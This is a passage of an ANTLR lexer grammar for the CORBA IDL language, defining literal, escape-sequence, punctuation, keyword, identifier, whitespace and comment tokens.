OCTAL_LITERAL
: '0' ('0' .. '7') + INTEGER_TYPE_SUFFIX?
;
HEX_LITERAL
: '0' ('x' | 'X') HEX_DIGIT + INTEGER_TYPE_SUFFIX?
;
fragment HEX_DIGIT
: ('0' .. '9' | 'a' .. 'f' | 'A' .. 'F')
;
fragment INTEGER_TYPE_SUFFIX
: ('l' | 'L')
;
FLOATING_PT_LITERAL
: ('0' .. '9') + '.' ('0' .. '9')* EXPONENT? FLOAT_TYPE_SUFFIX? | '.' ('0' .. '9') + EXPONENT? FLOAT_TYPE_SUFFIX? | ('0' .. '9') + EXPONENT FLOAT_TYPE_SUFFIX? | ('0' .. '9') + EXPONENT? FLOAT_TYPE_SUFFIX
;
FIXED_PT_LITERAL
: FLOATING_PT_LITERAL
;
fragment EXPONENT
: ('e' | 'E') (PLUS | MINUS)? ('0' .. '9') +
;
fragment FLOAT_TYPE_SUFFIX
: ('f' | 'F' | 'd' | 'D')
;
WIDE_CHARACTER_LITERAL
: 'L' CHARACTER_LITERAL
;
CHARACTER_LITERAL
: '\'' (ESCAPE_SEQUENCE | ~ ('\'' | '\\')) '\''
;
WIDE_STRING_LITERAL
: 'L' STRING_LITERAL
;
STRING_LITERAL
: '"' (ESCAPE_SEQUENCE | ~ ('\\' | '"'))* '"'
;
BOOLEAN_LITERAL
: 'TRUE' | 'FALSE'
;
fragment ESCAPE_SEQUENCE
: '\\' ('b' | 't' | 'n' | 'f' | 'r' | '\"' | '\'' | '\\') | UNICODE_ESCAPE | OCTAL_ESCAPE
;
fragment OCTAL_ESCAPE
: '\\' ('0' .. '3') ('0' .. '7') ('0' .. '7') | '\\' ('0' .. '7') ('0' .. '7') | '\\' ('0' .. '7')
;
fragment UNICODE_ESCAPE
: '\\' 'u' HEX_DIGIT HEX_DIGIT HEX_DIGIT HEX_DIGIT
;
fragment LETTER
: '\u0024' | '\u0041' .. '\u005a' | '\u005f' | '\u0061' .. '\u007a' | '\u00c0' .. '\u00d6' | '\u00d8' .. '\u00f6' | '\u00f8' .. '\u00ff' | '\u0100' .. '\u1fff' | '\u3040' .. '\u318f' | '\u3300' .. '\u337f' | '\u3400' .. '\u3d2d' | '\u4e00' .. '\u9fff' | '\uf900' .. '\ufaff'
;
fragment ID_DIGIT
: '\u0030' .. '\u0039' | '\u0660' .. '\u0669' | '\u06f0' .. '\u06f9' | '\u0966' .. '\u096f' | '\u09e6' .. '\u09ef' | '\u0a66' .. '\u0a6f' | '\u0ae6' .. '\u0aef' | '\u0b66' .. '\u0b6f' | '\u0be7' .. '\u0bef' | '\u0c66' .. '\u0c6f' | '\u0ce6' .. '\u0cef' | '\u0d66' .. '\u0d6f' | '\u0e50' .. '\u0e59' | '\u0ed0' .. '\u0ed9' | '\u1040' .. '\u1049'
;
SEMICOLON
: ';'
;
COLON
: ':'
;
COMA
: ','
;
LEFT_BRACE
: '{'
;
RIGHT_BRACE
: '}'
;
LEFT_BRACKET
: '('
;
RIGHT_BRACKET
: ')'
;
LEFT_SQUARE_BRACKET
: '['
;
RIGHT_SQUARE_BRACKET
: ']'
;
TILDE
: '~'
;
SLASH
: '/'
;
LEFT_ANG_BRACKET
: '<'
;
RIGHT_ANG_BRACKET
: '>'
;
STAR
: '*'
;
PLUS
: '+'
;
MINUS
: '-'
;
CARET
: '^'
;
AMPERSAND
: '&'
;
PIPE
: '|'
;
EQUAL
: '='
;
PERCENT
: '%'
;
DOUBLE_COLON
: '::'
;
RIGHT_SHIFT
: '>>'
;
LEFT_SHIFT
: '<<'
;
KW_SETRAISES
: 'setraises'
;
KW_OUT
: 'out'
;
KW_EMITS
: 'emits'
;
KW_STRING
: 'string'
;
KW_SWITCH
: 'switch'
;
KW_PUBLISHES
: 'publishes'
;
KW_TYPEDEF
: 'typedef'
;
KW_USES
: 'uses'
;
KW_PRIMARYKEY
: 'primarykey'
;
KW_CUSTOM
: 'custom'
;
KW_OCTET
: 'octet'
;
KW_SEQUENCE
: 'sequence'
;
KW_IMPORT
: 'import'
;
KW_STRUCT
: 'struct'
;
KW_NATIVE
: 'native'
;
KW_READONLY
: 'readonly'
;
KW_FINDER
: 'finder'
;
KW_RAISES
: 'raises'
;
KW_VOID
: 'void'
;
KW_PRIVATE
: 'private'
;
KW_EVENTTYPE
: 'eventtype'
;
KW_WCHAR
: 'wchar'
;
KW_IN
: 'in'
;
KW_DEFAULT
: 'default'
;
KW_PUBLIC
: 'public'
;
KW_SHORT
: 'short'
;
KW_LONG
: 'long'
;
KW_ENUM
: 'enum'
;
KW_WSTRING
: 'wstring'
;
KW_CONTEXT
: 'context'
;
KW_HOME
: 'home'
;
KW_FACTORY
: 'factory'
;
KW_EXCEPTION
: 'exception'
;
KW_GETRAISES
: 'getraises'
;
KW_CONST
: 'const'
;
KW_VALUEBASE
: 'ValueBase'
;
KW_VALUETYPE
: 'valuetype'
;
KW_SUPPORTS
: 'supports'
;
KW_MODULE
: 'module'
;
KW_OBJECT
: 'Object'
;
KW_TRUNCATABLE
: 'truncatable'
;
KW_UNSIGNED
: 'unsigned'
;
KW_FIXED
: 'fixed'
;
KW_UNION
: 'union'
;
KW_ONEWAY
: 'oneway'
;
KW_ANY
: 'any'
;
KW_CHAR
: 'char'
;
KW_CASE
: 'case'
;
KW_FLOAT
: 'float'
;
KW_BOOLEAN
: 'boolean'
;
KW_MULTIPLE
: 'multiple'
;
KW_ABSTRACT
: 'abstract'
;
KW_INOUT
: 'inout'
;
KW_PROVIDES
: 'provides'
;
KW_CONSUMES
: 'consumes'
;
KW_DOUBLE
: 'double'
;
KW_TYPEPREFIX
: 'typeprefix'
;
KW_TYPEID
: 'typeid'
;
KW_ATTRIBUTE
: 'attribute'
;
KW_LOCAL
: 'local'
;
KW_MANAGES
: 'manages'
;
KW_INTERFACE
: 'interface'
;
KW_COMPONENT
: 'component'
;
ID
: LETTER (LETTER | ID_DIGIT)*
;
WS
: (' ' | '\r' | '\t' | '\u000C' | '\n') -> channel (HIDDEN)
;
COMMENT
: '/*' .*? '*/' -> channel (HIDDEN)
;
LINE_COMMENT
: '//' ~ ('\n' | '\r')* '\r'? '\n' -> channel (HIDDEN)
;
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.